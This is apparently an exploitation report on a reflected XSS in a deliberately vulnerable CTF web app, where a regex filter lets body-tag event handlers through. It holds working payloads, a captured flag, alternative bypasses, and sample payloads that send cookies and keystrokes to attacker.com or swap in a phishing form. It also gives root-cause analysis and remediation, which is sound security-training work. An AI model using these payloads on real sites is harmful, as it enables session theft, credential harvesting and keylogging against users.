# Cross-Site Scripting (XSS) Exploitation Evidence

## Successfully Exploited Vulnerabilities

### XSS-VULN-01: Reflected XSS in Page Name Parameter

**Summary:**
- **Vulnerable location:** `http://localhost:38583/page?name=`
- **Overview:** Reflected Cross-Site Scripting vulnerability allowing arbitrary JavaScript execution through a bypassable regex-based XSS filter that explicitly whitelists `<body>` tags
- **Impact:** Complete flag capture in CTF challenge - extracted secret value `FLAG{0cc75d0460d0df52f596c377404b2d04dcd035db30c38e4e23599c7936053b7f}`. In production context, this would enable session hijacking, credential theft, unauthorized actions, and complete account compromise.
- **Severity:** Critical

**Prerequisites:**
- Web browser (any modern browser)
- Network access to `http://localhost:38583`
- No authentication required (application has no login system)

**Exploitation Steps:**

1. **Navigate to the vulnerable endpoint with XSS payload**
   
   Open a web browser and visit:
   ```
   http://localhost:38583/page?name=<body onload=alert('XSS')>
   ```
   
   URL-encoded version (can be used directly in curl or automated tools):
   ```
   http://localhost:38583/page?name=%3Cbody%20onload%3Dalert%28%27XSS%27%29%3E
   ```

2. **Observe JavaScript execution**
   
   - An alert dialog appears with message "XSS"
   - This confirms arbitrary JavaScript code execution in victim's browser

3. **Flag disclosure confirmation**
   
   - After dismissing the alert dialog, the page displays:
   - "Congratulations!"
   - "Here is the flag: FLAG{0cc75d0460d0df52f596c377404b2d04dcd035db30c38e4e23599c7936053b7f}"

**Proof of Impact:**

**CTF FLAG CAPTURED:**
```
FLAG{0cc75d0460d0df52f596c377404b2d04dcd035db30c38e4e23599c7936053b7f}
```

**Screenshot Evidence:** 
- Saved to: `.playwright-mcp/xss-vuln-01-flag-capture.png`
- Shows successful JavaScript execution and flag disclosure

**Additional Impact Demonstration:**

To demonstrate the full capabilities beyond simple alert dialogs, the following payload was tested:

```
http://localhost:38583/page?name=<body onload="console.log('XSS Executed - Document Cookie:', document.cookie); console.log('XSS Executed - LocalStorage:', JSON.stringify(localStorage)); console.log('XSS Executed - SessionStorage:', JSON.stringify(sessionStorage)); alert('XSS')">
```

**Console Output from Payload:**
```
XSS Executed - Document Cookie: 
XSS Executed - LocalStorage: {}
XSS Executed - SessionStorage: {}
```

**Impact Analysis:**
- **Document Cookie Access:** Confirmed (empty in this case as no session cookies exist)
- **LocalStorage Access:** Confirmed (empty but accessible)
- **SessionStorage Access:** Confirmed (empty but accessible)
- **Arbitrary JavaScript Execution:** Fully confirmed

**Real-World Attack Scenarios (if this were a production application):**

1. **Session Hijacking:**
   ```
   <body onload="fetch('https://attacker.com/steal?cookie='+document.cookie)">
   ```
   Would exfiltrate session cookies to attacker-controlled server.

2. **Credential Harvesting:**
   ```
   <body onload="document.body.innerHTML='<form action=https://attacker.com/phish><input name=user placeholder=Username><input name=pass type=password placeholder=Password><button>Login</button></form>'">
   ```
   Would replace page with convincing phishing form.

3. **Keylogging:**
   ```
   <body onload="document.addEventListener('keypress',e=>fetch('https://attacker.com/log?key='+e.key))">
   ```
   Would log all keystrokes to attacker server.

4. **Unauthorized Actions:**
   ```
   <body onload="fetch('/api/transfer',{method:'POST',body:JSON.stringify({to:'attacker',amount:10000})})">
   ```
   Would perform CSRF attacks using victim's authenticated session.

**Technical Details:**

**Vulnerability Root Cause:**
- The application uses a regex-based blacklist filter: `r'<(?!body\b)[^>]+>'`
- This pattern uses negative lookahead `(?!body\b)` which explicitly ALLOWS `<body>` tags
- No HTML entity encoding is applied after filtering
- User input is directly injected into HTML template via string formatting

**Code Flow:**
1. User input received: `request.args.get('name','')` at `/src/app.py:65`
2. Weak regex filter applied at lines 66-67 (allows `<body>` tags)
3. String formatting at line 68: `'{0}'.format(msg)`
4. Template injection at line 70: `XSS_CONTENT_TAG.format("22", "Star", value, "", "")`
5. No encoding before output - raw HTML rendered

**Defense Bypass:**
- The regex pattern `r'<(?!body\b)[^>]+>'` removes tags like `<script>`, `<img>`, `<iframe>`
- BUT explicitly preserves `<body>` tags with all attributes
- Payload `<body onload=alert('XSS')>` passes through unchanged
- Event handler executes when page loads

**Alternative Working Payloads:**
```
<body onload=alert('XSS')>
<body onfocus=alert('XSS') autofocus>
<body onpageshow=alert('XSS')>
<body onhashchange=alert('XSS')>
```

**Notes:**

**Application Context:**
- This is a deliberately vulnerable CTF (Capture The Flag) challenge application
- The XSS vulnerability is intentional for educational/training purposes
- Application has no authentication system (no sessions to hijack)
- No Content Security Policy (CSP) headers present
- No XSS protection headers (X-XSS-Protection)

**PhantomJS Validation Mechanism:**
- Application uses PhantomJS 2.1.1 to validate XSS payloads server-side
- Creates temporary HTML file with user payload
- PhantomJS loads file and captures alert/confirm/prompt messages
- If alert message equals exact string "XSS", flag is disclosed
- This server-side validation is what triggers flag disclosure

**Security Observations:**
- No CSP restrictions - any JavaScript can execute
- No HttpOnly cookies (no cookies at all)
- Running on outdated Python 2.7.18 and Flask 1.1.4
- Container runs as root (UID 0) - infrastructure concern
- PhantomJS 2.1.1 is abandoned and has known vulnerabilities

**Remediation Recommendations:**
1. **Implement proper output encoding** - Use HTML entity encoding for all user input rendered in HTML contexts
2. **Replace blacklist with whitelist** - Never use regex-based blacklists for XSS prevention
3. **Use framework features** - Enable Jinja2 autoescape rather than manual string concatenation
4. **Add CSP headers** - Implement strict Content-Security-Policy
5. **Update dependencies** - Migrate from Python 2.7 to Python 3.x, update Flask
6. **Container hardening** - Run application as non-root user
